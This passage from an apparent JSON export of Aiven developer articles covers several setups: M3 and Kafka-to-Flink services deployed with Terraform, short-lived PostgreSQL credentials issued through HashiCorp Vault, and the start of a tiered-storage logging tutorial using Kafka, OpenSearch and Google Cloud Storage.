{\n  project                  = var.project_name\n  integration_type         = \"m3aggregator\"\n  source_service_name      = aiven_m3db.demo-m3db.service_name\n  destination_service_name = aiven_m3aggregator.demo-m3a.service_name\n}\n```\n\n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\n``namespaces`` in M3 is used to determine how metrics are stored and retained. There is always one unaggregated namespace which is configured under the ``demo-m3db`` resource ``namespaces`` block. There are three aggregated namespaces defined within the same block for different resolution settings.\n\n- ``m3_default_unaggregated_ns`` keeps the unaggregated data for 2h (retention time)\n- ``m3_lowRes_aggregated_ns`` aggregates the data to 10m (resolution) and keeps the data for 6d (retention time)\n- ``m3_medRes_aggregated_ns`` aggregates the data to 2m (resolution) and keeps the data for 18h (retention time)\n- ``m3_highRes_aggregated_ns`` aggregates the data to 10s (resolution) and keeps the data for 4h (retention time)\n\nWith high resolution (more samples per second), you'll have more data points for a given time compared to low resolution. More data points will require more storage, and that's why low resolution data is retained for a longer period of time than high resolution data. \n\n## More resources\n\nYou might find these related resources useful too:\n\n- [Configuration options for Aiven for M3DB](https://aiven.io/docs/products/m3db/reference/advanced-params.html)\n- [Configuration options for Aiven for M3 Aggregator](https://aiven.io/docs/products/m3db/reference/advanced-params-m3aggregator.html)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)\n- [Metrics and graphs with M3 and Grafana®](https://aiven.io/blog/metrics-and-graphs-with-m3-and-grafana)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T09:31:13.419Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"134102927369","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-66b4eb00bcc962829910eca96ae0fad22ea0a81e-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/m3-aggregator-integration"},"subtitle":"Set up an Aiven for M3 database, a M3 aggregator service, and integrate the two, then deploy using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"0b4352797b78","_ref":"5e22b8bd-9aba-4abc-84fe-60a512231fd9","_type":"tag"},{"_key":"26044d244a66","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Set up M3-related services using Aiven Terraform Provider"}
{"__i18n_lang":"en","_createdAt":"2023-08-21T07:46:05Z","_id":"2038f4c7-4494-4d3a-964e-7cf95e608128","_rev":"VeNKqGNmt13PzvGhqsSdc4","_type":"devArticle","_updatedAt":"2024-01-29T15:45:28Z","body":"This example shows how to set up an [Aiven for Apache Kafka®](https://aiven.io/kafka) service with an [Aiven for Apache Flink®](https://aiven.io/flink) integration using the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs). An Apache Kafka source topic is used as a data source, and Apache Flink processes the data to do filtering or transformation, and finally write the transformed output to a sink topic.\nPlease get yourself familiar with [Aiven for Apache Flink concepts](https://aiven.io/docs/products/flink/concepts) before you start cooking.\n\nBefore looking at the Terraform script, let's visually realize how the services will be connected:\n\n:::mermaid\n\n   flowchart LR\n      subgraph Aiven for Apache Kafka\n      SourceTopic\n      end\n      subgraph Aiven for Apache Flink Application\n      SourceTopic--\u003e|FlinkTableMapping|FlinkSourceTable\n      FlinkSourceTable --\u003e SQLtransformation\n      SQLtransformation --\u003e FlinkTargetTable\n      end\n      subgraph Aiven for Apache Kafka\n      FlinkTargetTable--\u003e|FlinkTableMapping|SinkTopic\n      end\n:::\n\nImagine that you are collecting CPU usage for hundreds of machines in your data centre and these metrics are populated in an Apache Kafka topic called ``cpu_measurements``. But you're interested in learning about those machines with CPU usages higher than 85% and write the filtered messages into a topic called ``cpu_high_usage``.\n\nIf you relate the above diagram to this example, both source and target Apache Kafka topics are part of the same Apache Kafka cluster. To do the processing on the data, you'll be using an Aiven for Apache Flink Application which is an abstraction layer on top of Apache Flink SQL that includes all the elements related to a Flink job to help build your data processing pipeline. \n\nThe following Terraform script stands up both Apache Kafka and Apache Flink services, creates the service integration, source and target Apache Kafka topics, an Aiven for Apache Flink application, and the Aiven for Apache Flink application version. By design, you cannot manage the deployment resource using Aiven Terraform Provider. \nIn order to do so, you'll need to use Aiven console or Aiven CLI.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property and ``TF_VAR_project_name`` for the ``project_name`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n      \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n\n## Services.tf file\n\n```toml\n# Flink service\n\nresource \"aiven_flink\" \"demo-flink\" {\n  project      = var.project_name\n  cloud_name   = \"google-northamerica-northeast1\"\n  plan         = \"business-8\"\n  service_name = \"demo-flink\"\n}\n\n# Kafka service\n\nresource \"aiven_kafka\" \"demo-kafka\" {\n  project      = var.project_name\n  cloud_name   = \"google-northamerica-northeast1\"\n  plan         = \"business-8\"\n  service_name = \"demo-kafka\"\n}\n\n# Flink-Kafka integration\n\nresource \"aiven_service_integration\" \"flink_to_kafka\" {\n  project                  = var.project_name\n  integration_type         = \"flink\"\n  destination_service_name = aiven_flink.demo-flink.service_name\n  source_service_name      = aiven_kafka.demo-kafka.service_name\n}\n\n# Flink application\n\nresource \"aiven_flink_application\" \"demo-flink-app\" {\n  project      = var.project_name\n  service_name = aiven_flink.demo-flink.service_name\n  name         = \"demo-flink-app\"\n}\n\n# Flink application version\n\nresource \"aiven_flink_application_version\" \"demo-flink-app-version\" {\n  project        = var.project_name\n  service_name   = aiven_flink.demo-flink.service_name\n  application_id = aiven_flink_application.demo-flink-app.application_id\n  statement      = \u003c\u003cEOT\n  INSERT INTO cpu_high_usage_table SELECT * FROM iot_measurements_table WHERE usage \u003e 85\nEOT\nsinks {\n  create_table   = \u003c\u003cEOT\n  CREATE TABLE cpu_high_usage_table (\n      time_ltz TIMESTAMP(3),\n      hostname STRING,\n      cpu STRING,\n      usage DOUBLE\n  ) WITH (\n      'connector' = 'kafka',\n      'properties.bootstrap.servers' = '',\n      'scan.startup.mode' = 'earliest-offset',\n      'topic' = 'cpu_high_usage',\n      'value.format' = 'json'\n  )\nEOT\n  integration_id = aiven_service_integration.flink_to_kafka.integration_id\n}\nsources {\n  create_table   = \u003c\u003cEOT\n  CREATE TABLE iot_measurements_table (\n      time_ltz TIMESTAMP(3),\n      hostname STRING,\n      cpu STRING,\n      usage DOUBLE\n  ) WITH (\n      'connector' = 'kafka',\n      'properties.bootstrap.servers' = '',\n      'scan.startup.mode' = 'earliest-offset',\n      'topic' = 'iot_measurements',\n      'value.format' = 'json'\n  )\n  EOT\n  integration_id = aiven_service_integration.flink_to_kafka.integration_id\n}\n}\n\n# Kafka source topic\n\nresource \"aiven_kafka_topic\" \"source\" {\n  project      = var.project_name\n  service_name = aiven_kafka.demo-kafka.service_name\n  partitions   = 2\n  replication  = 3\n  topic_name   = \"iot_measurements\"\n}\n\n# Kafka sink topic\n\nresource \"aiven_kafka_topic\" \"sink\" {\n  project      = var.project_name\n  service_name = aiven_kafka.demo-kafka.service_name\n  partitions   = 2\n  replication  = 3\n  topic_name   = \"cpu_high_usage\"\n}\n```\n   \n\n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\n- The resource ``\"aiven_flink\"`` creates an Aiven for Apache Flink resource with the project name, choice of cloud, an Aiven service plan, and a specified service name. \n- ``\"aiven_kafka\"`` resource creates an Apache Kafka cluster and two Apache Kafka topics (``cpu_measurements`` and a ``cpu_high_usage``) are created using the ``\"aiven_kafka_topic\"`` resource.\n- Similarly, the ``\"aiven_service_integration\"`` resource creates the integration between Apache Kafka and the Apache Flink service.\n- ``aiven_flink_application`` resource ``demo-flink-app`` creates the Aiven for Apache Flink application whereas ``aiven_flink_application_version`` resource ``demo-flink-app-version`` contains all the necessary specifications.\n\nFor example, the application version resource creates two Flink tables, ``iot_measurements_table`` as the source table and ``cpu_high_usage_table`` as the sink table with the specified schema.\n\nOnce the Terraform script is run, all of the resources from the manifest are created. You have declared your data pipeline, but the execution has not started yet. For this, you need to create a deployment.\n\nFrom the Aiven console, go to the ``Application`` tab under the newly created Aiven for Apache Flink service. Click on ``demo-flink-app`` and click **Create deployment**. If this is your first deployment, you won't have an option to start from a previous state (stored as a [savepoint](https://aiven.io/docs/products/flink/concepts/savepoints).\nAccept the default setting or make necessary selection and then deploy. \n\nTo test the data streaming pipeline, you can use the [fake data producer for Apache Kafka on Docker](https://github.com/aiven/fake-data-producer-for-apache-kafka-docker) making sure that in the ``conf/env.conf`` file you specify ``TOPIC=\"cpu_measurements\"`` (same topic name defined in the resource ``\"aiven_kafka_topic\" \"source\"``) and ``SUBJECT=\"metric\"`` together with the appropriate project name, service name and required credentials.\n\nIn the destination topic, defined in the resource ``\"aiven_kafka_topic\" \"sink\"``, you should see only data samples having ``usage`` above 85. A note that the fake data generates CPU usages higher than 70.\n\n\n## More resources\n\nThe parameters and configurations will vary for your case. Please refer below for Apache Kafka and Apache Flink advanced parameters, a related blog, and how to get started with Aiven Terraform Provider:\n\n- [Move from batch to streaming with Apache Kafka® and Apache Flink®](https://aiven.io/blog/first-streaming-sql-pipeline-with-apache-flink)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)\n- [Advanced parameters for Aiven for Apache Kafka®](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n- [Advanced parameters for Aiven for Apache Flink®](https://aiven.io/docs/products/flink/reference/advanced-params.html)\n- [Move from batch to streaming with Apache Kafka® and Apache Flink®)(https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T07:46:02.724Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"47683cd580b9","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-16T07:44:06.381Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-fcc74605b4bb5e80e44c17e4522eee8b05c99e0c-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-source-sink-flink-integration"},"subtitle":"Learn how to use Apache Kafka® as a source and sink to process streaming data, and how to deploy that with Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"3180f5735f81","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"ff4ab700bf63","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"aed2042936ce","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Apache Kafka® as source and sink with Apache Flink® to process streaming data"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T15:31:44Z","_id":"74ae33ca-70fe-4215-930e-3fd0f82aaa1c","_rev":"Y1Zuby3sRDA3bPurvu99kg","_type":"devArticle","_updatedAt":"2024-09-25T08:00:58Z","body":"If data infrastructure is evolving to a dynamic nature, why is it still the case that you're using static database credentials inside your organization? Not only are these shared credentials used by humans, often times the same credentials are used in all of the API calls made by the applications. This poses a huge security risk as a leaked database credential in the wrong hands can cause havoc. In this blog, I introduce the concept of dynamic credentials and use [HashiCorp Vault](https://www.vaultproject.io/) to dispense a short-lived credential to connect to [a managed PostgreSQL® service](https://aiven.io/postgresql).\n\n## Dynamic credentials improve security\n\nOne of the major challenges of _secret sprawl_ is that you might not actually know how many people or CI (Continuous Integration) jobs have access to credentials.  Static credentials also never expire, which makes it challenging to allow access to someone only for the time being. The final challenge of static credentials is what do you do as a break glass procedure? In case of a major breach, how do you revoke access to your data infrastructure?\n\nA dynamic credential addresses the challenges of secret sprawl and time-bound access, as well as allowing the admin to revoke some or all of the credentials, and locking down the data infrastructure completely. The key (_pun intended_) here is centralization of your secrets where it's tightly access-controlled, frequently audited, and it's encrypted so that you reduce the surface area of an attack. \n\nIn today's example, you will setup credentials for an (imaginary) app that reads from/writes to the table `weekly_metrics_reporting` and parses some data to send project updates to stakeholders. You don't want this app to have write access to other tables, let alone contain the root database credential. In the following sections, I help you generate a short-lived credential with limited access to the database for your app.\n\n## Before you start\n\nThis is the hands-on part where you setup a PostgreSQL service and a dynamic key generation/management tool called [Vault](https://www.vaultproject.io/). This blog post assumes that you have some knowledge of these tools. In case you need an overview, you can refer to [the Aiven for PostgreSQL documentation](https://aiven.io/docs/products/postgresql/index.html) and [the HashiCorp Vault getting started guide](https://learn.hashicorp.com/tutorials/vault/getting-started-intro). \n\n![User authenticates to vault. Vault checks static credentials with db. Vault creates dynamic credentials for user. Us    er connects to db using dynamic credentials.](//cdn.sanity.io/images/sczeoy4w/production/4d2816c501ee09a9ed08710a394de1c596bb9d7a-2500x1292.png)\n\n### Create a managed PostgreSQL service\n\nIf you already have a PostgreSQL instance, you can skip this part. \n\nOtherwise, create a [free trial account at Aiven](https://aiven.io/how-to-get-started-with-aiven) and then follow the instructions to [create a PostgreSQL instance](https://aiven.io/docs/products/postgresql/get-started).\n\n###  Connect to PostgreSQL to create the required tables for the weekly metrics reporting app\n\nLet's create two tables - one table has the metrics reporting and the other has the employee salaries. The app should have both read and write access to the `weekly_metrics_reporting` table and no access to the `employee_salary` table. The following blocks of SQL code will help you create these two tables using the `psql` terminal tool. For this exercise, you can skip `?sslmode=require` when connecting to Aiven for Postgresql service using `psql`. When this setting is used, the server certificate is validated against the CA (certificate authority).\n\n```\npsql -h [HOST] -p [PORT] -U [USER] defaultdb\n```\n\nIf this is an Aiven for PostgreSQL service, the values for `[USER]`, `[PASSWORD]`, `[HOST]` and `[PORT]` can be copied from the \"Overview \u003e Connection Information\" on the [Aiven Console](https://console.aiven.io/) page for that service.\n\nIf you're using a local PostgreSQL database, you can replace the `[HOST]` portion with `localhost`, `[PORT]` with `5432`, and `[USER]`/`[PASSWORD]` with a valid database credential with admin-level access.\n\n1. Create two tables - `weekly_metrics_reporting` and `employee_salary`:\n\n    ```\n    create table weekly_metrics_reporting (\n        id serial PRIMARY KEY,\n        week_ending TIMESTAMP NOT NULL,\n        product_downloads INT NOT NULL CHECK (product_downloads \u003e= 0),\n        github_stars INT NOT NULL CHECK (github_stars \u003e= 0),\n        twitter_followers INT NOT NULL CHECK (twitter_followers \u003e= 0)\n    );\n    ```\n\n    ```\n    create table employee_salary (\n        emp_no INT NOT NULL PRIMARY KEY,\n        salary int NOT NULL,\n        name  VARCHAR(30) NOT NULL,\n        hire_date   DATE  NOT NULL\n    );\n    ```\n\n2. Add some data to these tables:\n\n    ```\n    insert into weekly_metrics_reporting (week_ending, product_downloads, github_stars, twitter_followers) values ('2022-02-25', 110005, 2300, 17500);\n    insert into weekly_metrics_reporting (week_ending, product_downloads, github_stars, twitter_followers) values ('2022-03-04', 116097, 2600, 20300);\n    insert into weekly_metrics_reporting (week_ending, product_downloads, github_stars, twitter_followers) values ('2022-03-11', 129000, 3300, 22800);\n    ```\n\n    ```\n    insert into employee_salary (emp_no, salary, name, hire_date) values (123, 85000, 'best avocado', '2020-01-25');\n    insert into employee_salary (emp_no, salary, name, hire_date) values (124, 65000, 'avg avocado', '2020-01-18');\n    insert into employee_salary (emp_no, salary, name, hire_date) values (127, 50000, 'ok avocado', '2020-01-29');\n    ```\n\n### Set up HashiCorp Vault\n\nFor a production workload, you would be running Vault in a dedicated virtual machine with high availability. For this exercise, however, you'll be installing the community version of the software on your local machine. [Download and install](https://www.vaultproject.io/downloads) Vault and start the dev server:\n\n```\nvault server -dev\n```\n\nThe dev server is a built-in, pre-configured server that is not very secure but is fine to understand the concepts and try out the tool first in a non-production environment. The above command will output an `Unseal Key` and `Root Token` for the Vault server. \n\nThe trailing part of the output from one of my test run of the `vault server -dev` command:\n\n```\nThe unseal key and root token are displayed below in case you want to\nseal/unseal the Vault or re-authenticate.\n\nUnseal Key: MZrvnzwGUlhj6HWjmdKUxQ3AJWP5s9dFOJS9c3H5cLk=\nRoot Token: s.T1C9mFSJu03gvn86CUqvRUeV\n\nDevelopment mode should NOT be used in production installations!\n```\n\nYour output for the `Unseal Key` and `Root Token` will be different. Remember to save these values somewhere. Since this is for testing purposes, you don't need to store these values securely. After that, export the address of the Vault server:\n\n```\nexport VAULT_ADDR='http://127.0.0.1:8200'\n```\n\nEvery Vault command that talks to the Vault server, uses the `VAULT_ADDR` environment variable. If this environment variable is not set, the user needs to pass the `-address` flag with every command. Once the CLI knows the address of the Vault server, it needs to know that you have the right credential to unlock the vault server. For the dev environment, the Vault server is already started in an unlocked state and the dev root token is persisted locally for use in future requests. \n\n### Configure PostgreSQL Database Secrets Engine in Vault\n\nVault secrets engines are components which store/generate secrets and are enabled at a \"path\" in Vault. By default, the secrets engine will be enabled at the name of the engine - `database` in this case. To enable the secrets engine at a different path, you can use the `-path` argument.\n\n```\nvault secrets enable database\n```\n\nI used the following command to configure Vault with the proper plugin and connection information. I'll explain some parts of the command. `vault write database` writes data to Vault at the specified path. This data can be credentials, secrets, configuration, or arbitrary data. Since we have a database configuration mounted in the path, Vault expects database specific parameters, such as `plugin_name`, `allowed_roles`, etc. In my example, I'm creating a role `metrics-readwrite` in the `defaultdb` database with a valid database credential that has the appropriate permissions to perform actions upon other database users (create, update credentials, delete, etc.). Note that typically an admin will configure Vault as your developer or application should not have the privileged database credential. Once the administrator configures Vault (a less frequent task), the developer or application can use their Vault token to request less privileged and time-bound database credentials (more frequent tasks).\n\n**Note**: Don't enter the actual username/password in the `connection_url` as Vault will give a warning if the username and password are in there directly, to ensure good security practice. The `username` and `password` fields will carry the real database credentials.  \n\n```\nvault write database/config/aiven-for-postgresql-database \\\n    plugin_name=postgresql-database-plugin \\\n    allowed_roles=\"metrics-readwrite\" \\\n    connection_url=\"postgresql://{{username}}:{{password}}@[HOST]:[PORT]/defaultdb\" \\\n    username=[USER] \\\n    password=[PASSWORD]\n```\n\nAlthough we created the `metrics-readwrite` role in the previous command, we didn't tell Vault what this role is allowed to do. Let's configure the role `metrics-readwrite` and tell Vault what actions a user/app with that role can perform on the database.\n\nIn the following command, I'm telling Vault that a user/app with `metrics-readwrite` role should be allowed to perform both read and write (hence the **GRANT ALL**) actions on the `weekly_metrics_reporting` table and a credential generated with such role should have a default TTL (Time To Live - the time before the credential expires) of 1 hour. \n\n```\nvault write database/roles/metrics-readwrite \\\n    db_name=aiven-for-postgresql-database \\\n    creation_statements=\"CREATE ROLE \\\"{{name}}\\\" WITH LOGIN PASSWORD '{{password}}' VALID UNTIL '{{expiration}}'; \\\n        GRANT ALL ON weekly_metrics_reporting TO \\\"{{name}}\\\";\" \\\n    default_ttl=\"1h\" \\\n    max_ttl=\"24h\"\n```\n\nYou can also expand the access for this role to multiple tables based on your need.\n\n## Generate credentials on demand\n\nNow that we're all set, let's generate a dynamic credential for the weekly metrics reporting app. Assuming that your application developer has access (a valid Vault token) to talk to the Vault server, they can programmatically generate credentials:\n\n```\nvault read database/creds/metrics-readwrite\n```\n\nWhen I ran the above command, the output was:\n\n```\nKey                Value\n---                -----\nlease_id           database/creds/metrics-readwrite/nt26w4S0o17hSSnNAb9QAO5g\nlease_duration     1h\nlease_renewable    true\npassword           afk0P-R8YgfAlblsyRzt\nusername           v-root-metrics--V7OeOHoN5Vca3qhd8JJk-1647544001\n```\n\nIn the terminal output, we see the new credentials that the application can use. There is also the lease duration which is set to an hour, so the credentials won't work after that amount of time. This reduces the security risk that long-lived database credentials pose. \n\nIf you are using Aiven for PostgreSQL, then you can validate that a database credential was indeed created from the [Aiven Console](https://console.aiven.io) under the Services \u003e Your PostgreSQL service \u003e Users tab. \n\nA more general way to test that the generated credential indeed works as expected, is by using `psql`:\n\n```\npsql -h [HOST] -p [PORT] -U \u003cPG-username-generated-above\u003e defaultdb\n```\n\nWhen prompted for the password, use the password from the dynamic credential generated above. For the example output, I replaced the \\\u003cPG-username-generated-above\\\u003e with *v-root-metrics--V7OeOHoN5Vca3qhd8JJk-1647544001* and used *afk0P-R8YgfAlblsyRzt* as the password. These values will differ when you execute the command.\n\nOnce you're in, try the following two commands:\n\n```\nselect * from weekly_metrics_reporting;\nselect * from employee_salary;\n```\n\nThe first command should output the following table:\n\n| id  | week_ending  | product_downloads  | github_stars  | twitter_followers  |\n|---|---|---|---|---|\n| 1  | 2022-02-25 00:00:00  | 110005  | 2300  | 17500  |\n| 2  | 2022-03-04 00:00:00  | 116097 | 2600  | 20300  |\n| 3  | 2022-03-11 00:00:00  | 129000  | 3300  | 22800  |\n\nThe second command should produce an error message:\n\n```\nERROR:  permission denied for table employee_salary\n```\n\n### Optional: Custom username for credentials\n\n```\nvault write database/config/aiven-for-postgresql-database \\\n    plugin_name=postgresql-database-plugin \\\n    allowed_roles=\"aiven-dev-role\" \\\n    connection_url=\"postgresql://{{username}}:{{password}}@[HOST]:[PORT]/defaultdb\" \\\n    username=[USER] \\\n    password=[PASSWORD] \\\n    username_template={{.DisplayName}}_{{.RoleName}}_{{uuid}}\n```\n\nWhen I ran this command, it created a credential with username **root_aiven-dev-role_50f85d2f-2d61-41f9-8759-15f3d6798a35** but this will be different based on your Vault username, the name of the role, and a random UUID. The flag `username_template` suggests the pattern to follow when generating the username. You can learn more on Vault's username templating [from the Vault docs](https://www.vaultproject.io/docs/concepts/username-templating).\n\n## Wrap up\n\nTo recap, I discussed why long-lived database credentials pose a security risk and how dynamic database credentials can help in that regard. I covered a hands-on exercise on setting up a managed PostgreSQL service on Aiven and using Vault to generate a dynamic database credential for that database. \n\n## Further learning\n\nTo learn more about Aiven's managed PostgreSQL offering and HashiCorp Vault, check out:\n\n- [Aiven for PostgreSQL® docs](https://aiven.io/docs/products/postgresql/index.html)\n\n- [HashiCorp Vault docs](https://www.vaultproject.io/docs)\n\nIf you're not using Aiven services yet, sign up now for your free trial at https://console.aiven.io/signup!\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:31:40.584Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"dec78bda8a6d","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-03-31T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6e1a283a38a86e1da6a44c369fb06b7fdf491479-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/secure-your-db-with-vault"},"subtitle":"Static credentials are a potential security risk. Learn how to setup dynamic credentials for your PostgreSQL® database with Hashicorp Vault.","tags":[{"_key":"a83a723dc4af","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"18f3b89a73e7","_ref":"fa0b1639-9dee-4ebb-b11d-604f485dfc6e","_type":"tag"},{"_key":"5d2b6a2466f3","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"cf6323e0e89f","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"ae1f0069be65","_ref":"78503d0a-beea-4f7f-ab11-c2b8fffadb7b","_type":"tag"}],"title":"Secure your database access with HashiCorp Vault"}
{"__i18n_lang":"en","_createdAt":"2023-03-20T14:26:50Z","_id":"15a7ecb8-dc66-4915-b872-181acb760d35","_rev":"neae7oL4y1FotDvvRMmBlN","_type":"devArticle","_updatedAt":"2024-07-11T14:13:38Z","body":"Tiered storage lets you extend expensive disk based storage, commonly used for data applications, with cheap object storage. \nThis lets you store more data at a fraction of the cost. Data retrieval times are slower, but for some use cases it's worth doing. One common use case is storing data for long periods due to regulatory requirements.\n\nBoth Apache Kafka® and OpenSearch® have tiered storage functionality as an additional feature to the open source release, but not in the core projects themselves at this time. We decided to implement this feature using Kafka Connect at Aiven so our customers don't have to wait!\n\nLet's use an example of Aiven for Apache Kafka® as a logging source that generates data we want to send to a tiered storage solution. We'll use Terraform to define our services. \n\nThis post covers use cases where logging volumes grow exponentially as you scale. For example, you might work in an industry where compliance regulations require log retention for 7 years but, for your own observability, you rarely require logs older than 14 days. Storing all 7 years of logs can become financially problematic or require you to use more resources than you would typically need. \n\nIn this example, Apache Kafka acts as a data source for itself, but you can use Filebeat or other any other [OpenSearch agent or ingestion tool](https://opensearch.org/docs/latest/tools/index/#agents-and-ingestion-tools) supported. \n\n![Architecture diagram of the logging architecture we will implement.](https://cdn.sanity.io/images/sczeoy4w/production/2337e3a2d540d927216765a7590fadbc4afbc9f5-1500x597.png)\n\nUsing Apache Kafka, you can push logs through message queues and utilize the Kafka ecosystem (Kafka Connect, primarily) to store logs in multiple destinations. This provides redundancy, as well as cost benefits. We'll use Apache Kafka as our log transport mechanism and push logs into both OpenSearch and Google Cloud Storage. In OpenSearch, we will retain logs for 14 days then remove the indices automatically. Next we'll create a Google Cloud Function to help developers retrieve logs from object storage as needed and reindex them in OpenSearch.\n\nWe'll do the following:\n1. Deploy Aiven for Apache Kafka with Kafka Connect support enabled.\n2. Create a `Logging` Service Integration that will allow Kafka to log to a topic within itself\n3. Deploy Aiven for OpenSearch and create an Index Pattern for the logging format we will use (one new index per day)\n4. Configure Aiven for OpenSearch to only hold the last 14 indices and delete older ones so that we do not have to monitor our index count or manually clean them up\n5. Configure the Google Cloud Storage Sink Connector to log to a bucket in our Google Cloud\n6. Configure the OpenSearch Sink Connector to log to a daily index in our Aiven for OpenSearch\n7. Deploy a Google Cloud Function that can take the name of a log file (and OpenSearch credentials) and restore the file to an index we specify\n\n\n## Set up\n\nWe'll use Aiven for Apache Kafka for this example, so before you do anything make sure to either [sign up for a new account](https://console.aiven.io) or log into an existing one. Registering with Aiven automatically signs you up for a free 30 day, 300 credit trial with no credit card needed!\n\nYou'll also need your own [Google Cloud Storage](https://cloud.google.com/storage) account, as we'll use that as our object storage.\n\nWe'll implement a data stream that goes from Aiven for Apache Kafka and is stored in Aiven for OpenSearch. We'll then implement object storage using Google Cloud Storage. We'll write a Google Cloud Function to retrieve cold data and re-index it in OpenSearch as needed. We'll use Aiven for Apache Kafka Connect, specifically the [OpenSearch Sink Connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink.html) and [Google Cloud Storage Sink Connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/gcs-sink.html) to wire the services together.\n\nTo replicate the example:\n- Clone the [Aiven examples repository](https://github.com/aiven/aiven-examples) and navigate to `solutions/kafka_long_term_logging`\n- Store your Google Cloud Storage account credentials in the `terraform/gcreds.json` file\n- Generate an [Aiven API token](https://aiven.io/docs/platform/howto/create_authentication_token)\n- Copy the `secrets.tfvars.example` file and rename it `secrets.tfvars`. Populate it with your Aiven API token, project and service names\n\n## Compose the solution\n\nOnce we have cloned the repository, take a look at the files inside. Essentially we have a Terraform plan to configure our services and the function used to restore files from Google Cloud Storage. Let's break down what we have:\n\n* `terraform/`\n  * `gcp/`\n    * `cloud_function` - the source code for our restore function: a Python file with the dependencies in a `requirements.txt` file\n    * `restore.zip` - The `cloud_function` folder compressed to be uploaded by Terraform\n    * `google_cloud_function.tf` - The Terraform script for uploading the function to a bucket and creating a Google Cloud Function from the resulting upload\n  * `main.tf` - The main Terraform script that will create the needed services and then create the Google Cloud Function using the resulting connection parameters\n  * `variables.tf` - Used for the names of the services we want to deploy, their location and Google Cloud config\n\n### Terraform\n\nInitialize and deploy the Terraform plan by pulling the necessary modules from [Aiven](https://registry.terraform.io/providers/aiven/aiven/) and [Google Cloud](https://registry.terraform.io/providers/hashicorp/google/). In the `secrets.tfvars` file, add our Aiven credentials:\n\n```\naiven_api_token = 